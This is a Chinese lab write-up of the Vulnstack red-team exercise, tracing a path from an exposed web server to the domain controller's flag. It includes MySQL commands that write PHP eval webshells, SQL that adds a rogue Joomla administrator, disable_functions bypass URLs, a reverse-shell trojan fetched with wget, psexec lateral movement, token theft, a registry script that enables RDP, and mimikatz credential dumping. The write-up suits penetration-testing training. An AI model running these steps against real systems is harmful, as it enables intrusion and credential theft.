0x00 : 简介
Vulnstack红队评估(三)
目标:域控中存在一份重要文件。
0x01 : 环境
- 主机信息
WEB ~ Centos双网卡
外网:192.168.153.136, 我用的NAT与本机相连, 具体IP自己确定
内网:192.168.93.100
WEB1 ~ Ubuntu
内网:192.168.93.120
PC ~ Win7
内网:192.168.93.30
PC1 ~ Win2008
内网:192.168.93.20
DC ~ Win2012
内网:192.168.93.10
0x02 : 外网
- 外网信息收集
利用nmap扫描WEB开放端口及服务
nmap -F 192.168.153.136
发现开了22和3306端口, 弱口令扫描走一波, 拿到数据库账号密码 root:123
利用dirsearch扫目录
http://192.168.153.136/1.php #phpinfo()
物理路径 : /var/www/html
http://192.168.153.136/configuration~ #配置文件
数据库账号密码 testuser:cvcvgjASD!@
数据库 joomla
http://192.168.153.136/administrator #后台
- 外网打点
连接数据库
mysql -uroot -p123 -h 192.168.153.136
这里想着能不能用mysql写文件(因为此处已经拿到网站的物理路径)
创建表写文件:
1、创建一个表
CREATE TABLE a (cmd text NOT NULL);
2、插入数据
INSERT INTO a (cmd) VALUES('<?php eval($_POST['yuf1sher']);?>');
3、导出一句话
SELECT cmd from a into outfile '/var/www/html/3.php';
4、删除表
DROP TABLE IF EXISTS a;
------------------------------------------------------------------
日志文件写shell
1、查看配置
show variables like '%general%';
2、开启general log模式
set global general_log = on;
3、设置日志目录webshell地址
set global general_log_file = '/var/www/html/3.php';
4、写入shell
select '<?php eval($_POST['yuf1sher']);?>';
------------------------------------------------------------------
慢查询日志写shell
show variables like '%slow_query_log%';
set global slow_query_log=1;
set global slow_query_log_file='/var/www/html/3.php';
select '<?php eval($_POST['yuf1sher']);?>' or sleep(11);
说干就干, 先查一下有无读写文件的权限
啊这..竟然没权限, 怎么还没开始就结束了
看一下能不能用日志写文件绕过
这.. 目录不给写文件, 那没事了
那我们翻一下数据库看能不能找到管理员账号密码进后台
mysql> show tables;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| am2zu_action_log_config |
| am2zu_action_logs |
| am2zu_action_logs_extensions |
| am2zu_action_logs_users |
| am2zu_assets |
| am2zu_associations |
| am2zu_banner_clients |
| am2zu_banner_tracks |
| am2zu_banners |
| am2zu_categories |
| am2zu_contact_details |
| am2zu_content |
| am2zu_content_frontpage |
| am2zu_content_rating |
| am2zu_content_types |
| am2zu_contentitem_tag_map |
| am2zu_core_log_searches |
| am2zu_extensions |
| am2zu_fields |
| am2zu_fields_categories |
| am2zu_fields_groups |
| am2zu_fields_values |
| am2zu_finder_filters |
| am2zu_finder_links |
| am2zu_finder_links_terms0 |
| am2zu_finder_links_terms1 |
| am2zu_finder_links_terms2 |
| am2zu_finder_links_terms3 |
| am2zu_finder_links_terms4 |
| am2zu_finder_links_terms5 |
| am2zu_finder_links_terms6 |
| am2zu_finder_links_terms7 |
| am2zu_finder_links_terms8 |
| am2zu_finder_links_terms9 |
| am2zu_finder_links_termsa |
| am2zu_finder_links_termsb |
| am2zu_finder_links_termsc |
| am2zu_finder_links_termsd |
| am2zu_finder_links_termse |
| am2zu_finder_links_termsf |
| am2zu_finder_taxonomy |
| am2zu_finder_taxonomy_map |
| am2zu_finder_terms |
| am2zu_finder_terms_common |
| am2zu_finder_tokens |
| am2zu_finder_tokens_aggregate |
| am2zu_finder_types |
| am2zu_languages |
| am2zu_menu |
| am2zu_menu_types |
| am2zu_messages |
| am2zu_messages_cfg |
| am2zu_modules |
| am2zu_modules_menu |
| am2zu_newsfeeds |
| am2zu_overrider |
| am2zu_postinstall_messages |
| am2zu_privacy_consents |
| am2zu_privacy_requests |
| am2zu_redirect_links |
| am2zu_schemas |
| am2zu_session |
| am2zu_tags |
| am2zu_template_styles |
| am2zu_ucm_base |
| am2zu_ucm_content |
| am2zu_ucm_history |
| am2zu_update_sites |
| am2zu_update_sites_extensions |
| am2zu_updates |
| am2zu_user_keys |
| am2zu_user_notes |
| am2zu_user_profiles |
| am2zu_user_usergroup_map |
| am2zu_usergroups |
| am2zu_users |
| am2zu_utf8_conversion |
| am2zu_viewlevels |
| test |
| umnbt_action_log_config |
| umnbt_action_logs |
| umnbt_action_logs_extensions |
| umnbt_action_logs_users |
| umnbt_assets |
| umnbt_associations |
| umnbt_banner_clients |
| umnbt_banner_tracks |
| umnbt_banners |
| umnbt_categories |
| umnbt_contact_details |
| umnbt_content |
| umnbt_content_frontpage |
| umnbt_content_rating |
| umnbt_content_types |
| umnbt_contentitem_tag_map |
| umnbt_core_log_searches |
| umnbt_extensions |
| umnbt_fields |
| umnbt_fields_categories |
| umnbt_fields_groups |
| umnbt_fields_values |
| umnbt_finder_filters |
| umnbt_finder_links |
| umnbt_finder_links_terms0 |
| umnbt_finder_links_terms1 |
| umnbt_finder_links_terms2 |
| umnbt_finder_links_terms3 |
| umnbt_finder_links_terms4 |
| umnbt_finder_links_terms5 |
| umnbt_finder_links_terms6 |
| umnbt_finder_links_terms7 |
| umnbt_finder_links_terms8 |
| umnbt_finder_links_terms9 |
| umnbt_finder_links_termsa |
| umnbt_finder_links_termsb |
| umnbt_finder_links_termsc |
| umnbt_finder_links_termsd |
| umnbt_finder_links_termse |
| umnbt_finder_links_termsf |
| umnbt_finder_taxonomy |
| umnbt_finder_taxonomy_map |
| umnbt_finder_terms |
| umnbt_finder_terms_common |
| umnbt_finder_tokens |
| umnbt_finder_tokens_aggregate |
| umnbt_finder_types |
| umnbt_languages |
| umnbt_menu |
| umnbt_menu_types |
| umnbt_messages |
| umnbt_messages_cfg |
| umnbt_modules |
| umnbt_modules_menu |
| umnbt_newsfeeds |
| umnbt_overrider |
| umnbt_postinstall_messages |
| umnbt_privacy_consents |
| umnbt_privacy_requests |
| umnbt_redirect_links |
| umnbt_schemas |
| umnbt_session |
| umnbt_tags |
| umnbt_template_styles |
| umnbt_ucm_base |
| umnbt_ucm_content |
| umnbt_ucm_history |
| umnbt_update_sites |
| umnbt_update_sites_extensions |
| umnbt_updates |
| umnbt_user_keys |
| umnbt_user_notes |
| umnbt_user_profiles |
| umnbt_user_usergroup_map |
| umnbt_usergroups |
| umnbt_users |
| umnbt_utf8_conversion |
| umnbt_viewlevels |
+-------------------------------+
在configuration.php~
看到表的前缀是am2zu_
以及密码的secret
值gXN9Wbpk7ef3A4Ys
, 我们看一下表am2zu_users
, 拿到账号和加盐的密码,
administrator:$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
尝试解密
那没事了, 这里又想了想(看了眼别人的writeup), 既然都拿到数据库里, 不如自己加个账号密码进去
如何恢复或重置管理员密码? - 来自Joomla! Documentation
mysql> INSERT INTO `am2zu_users`(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
Query OK, 1 row affected (0.57 sec)
mysql> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
Query OK, 1 row affected (0.54 sec)
加入账号密码 admin2:secret
在Extensions -> Templates -> Templates
可以编辑模板文件, 直接在index.php
中插入一句话, 拿到webshell
0x03 : 内网
- 主机渗透
发现无法执行命令, 推测应该是开启了disable_functions
再次打开phpinfo
界面看一下, 发现开启了sendmail
绕过可以使用 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
上传文件到网站路径下, 访问 http://192.168.153.136/bypass_disablefunc.php
执行命令 http://192.168.153.136/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so
现在可以执行命令了, 不过还是有点麻烦, 想着能不能提权, 而且这个webshell
不出网, 没办法打session
到msf
继续在服务器里翻文件, 在/tmp/mysql/test.txt
发现了一组账号密码
adduser wwwuser
passwd wwwuser_123Aqx
想起信息收集的时候发现开放了22端口
, 推测可能是ssh
的账号密码, 尝试发现成功连接
传个脚本上去查一下linux
可利用的提权漏洞https://github.com/mzet-/linux-exploit-suggester
发现可以用脏牛提权
msf
生成一个木马, 然后本地起一个http
服务
在服务器上wget
木马, 反弹shell
到msf
- 拿域控
添加路由
扫一下内网开放端口
扫一下smb
版本
最后拿到的信息整合
[+] 192.168.93.10:22,445,3389,3306 - 192.168.93.10:445 - TCP OPEN
[+] 192.168.93.20:22,445,3389,3306 - 192.168.93.20:445 - TCP OPEN
[+] 192.168.93.30:22,445,3389,3306 - 192.168.93.30:445 - TCP OPEN
[+] 192.168.93.100:22,445,3389,3306 - 192.168.93.100:3306 - TCP OPEN
[+] 192.168.93.100:22,445,3389,3306 - 192.168.93.100:22 - TCP OPEN
[+] 192.168.93.120:22,445,3389,3306 - 192.168.93.120:3306 - TCP OPEN
[+] 192.168.93.120:22,445,3389,3306 - 192.168.93.120:22 - TCP OPEN
[+] 192.168.93.10:445 - Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST) (signatures:required)
[+] 192.168.93.20:445 - Host is running Windows 2008 Datacenter SP2 (build:6003) (name:WIN2008) (domain:TEST) (signatures:optional)
[+] 192.168.93.30:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST) (signatures:optional)
用NPS
挂个代理出来, 扫描内网弱口令, 具体操作参考我的上一篇文章Vulnstack 红队评估(二), 也可以使用自己常用的代理工具
拿到192.168.93.20
的凭证, 现在就可以直接梭哈, 调用msf
的凭证攻击, 拿下192.168.93.20
这里使用exploit/windows/smb/psexec_psh
和exploit/windows/smb/psexec
都可以,不过当使用exploit/windows/smb/psexec
接收不到session
的时候可以试试前者, 当payload
使用reverse_tcp
接收不到session
的时候可以使用bind_tcp
查当前权限, 抓一下hash, 发现无法抓到明文密码
定位域控IP为192.168.93.10
接下来打域控有两种方法
- 利用盗取令牌的方式我们可以向域中添加管理员账号
- 开启
192.168.93.20
的远程桌面, 我们再上传mimikatz
抓取明文密码
0x03 : 域控
- 盗取令牌
加载会话令牌模块, 列出所有会话令牌, 很明显可以发现TEST\administrator
为域控管理员账号
盗用administrator
令牌
向域管理员加账号
建立远程IPC
连接
最后在域控管理员账号的Documents
文件夹中找到flag.txt
- 开启远程桌面
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
开启3389
端口, 需要等一会才能开启
挂代理连接远程桌面, 上传mimikatz
抓明文密码
然后使用wmiexec
拿到域控服务器shell
或者通过远程IPC
连接即可
到此本靶场结束
参考:
ATT&CK-RedTeaming-实战入侵演练,横向渗透拿到Flag
还不快抢沙发